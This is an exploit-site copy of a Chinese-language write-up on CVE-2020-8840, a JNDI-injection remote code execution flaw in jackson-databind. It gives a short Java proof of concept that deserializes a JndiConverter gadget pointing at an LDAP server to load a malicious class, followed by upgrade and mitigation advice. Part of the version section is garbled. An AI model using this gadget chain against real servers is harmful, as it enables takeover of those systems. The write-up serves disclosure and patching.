Sploitus

Exploit for Deserialization of Untrusted Data in Fasterxml Jackson-Databind

gitee · 2021-02-02

Exploit Code

MARKDOWN53 lines
## https://sploitus.com/exploit?id=A6232309-6EAA-5257-8E35-5BF4865A7CD5
# CVE-2020-8840:FasterXML/jackson-databind 远程代码执行漏洞

# 0x00 简介

    jackson-databind 是隶属 FasterXML 项目组下的JSON处理库。

# 0x01 漏洞概述

    2月19日,NVD发布安全通告披露了jackson-databind由JNDI注入导致的远程代码执行漏洞(CVE-2020-8840),CVSS评分为9.8 。受影响版本的jackson-databind中由于缺少某些xbean-reflect/JNDI黑名单类,如org.apache.xbean.propertyeditor.JndiConverter,可导致攻击者使用JNDI注入的方式实现远程代码执行,攻击成功可获得服务器的控制权限(Web服务等级)。

# 0x02 影响版本

2.0.0  ldap --> http
```

- poc
```
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class Poc {
    public static void main(String args[]) {
        ObjectMapper mapper = new ObjectMapper();

        mapper.enableDefaultTyping();

        String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";

        try {
            mapper.readValue(json, Object.class);
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
}
```

- 直接执行poc,通过ldap加载web服务器上的恶意类,导致远程代码执行

![WX20200223-140159@2x.png](images/WX20200223-140159@2x.png)

# 0x05 修复方式

1、升级 jackson-databind 至2.9.10.3、2.8.11.5、2.10.x
2、排查项目中是否使用 xbean-reflect。该次漏洞的核心原因是xbean-reflect 中存在特殊的利用链允许用户触发 JNDI 远程类加载操作。将xbean-reflect移除可以缓解漏洞所带来的影响。

# 参考链接:

[https://cert.360.cn/warning/detail?id=1fe3b5ea888750006e0d64fb0df1e6ee](https://cert.360.cn/warning/detail?id=1fe3b5ea888750006e0d64fb0df1e6ee)

[https://github.com/jas502n/CVE-2020-8840](https://github.com/jas502n/CVE-2020-8840)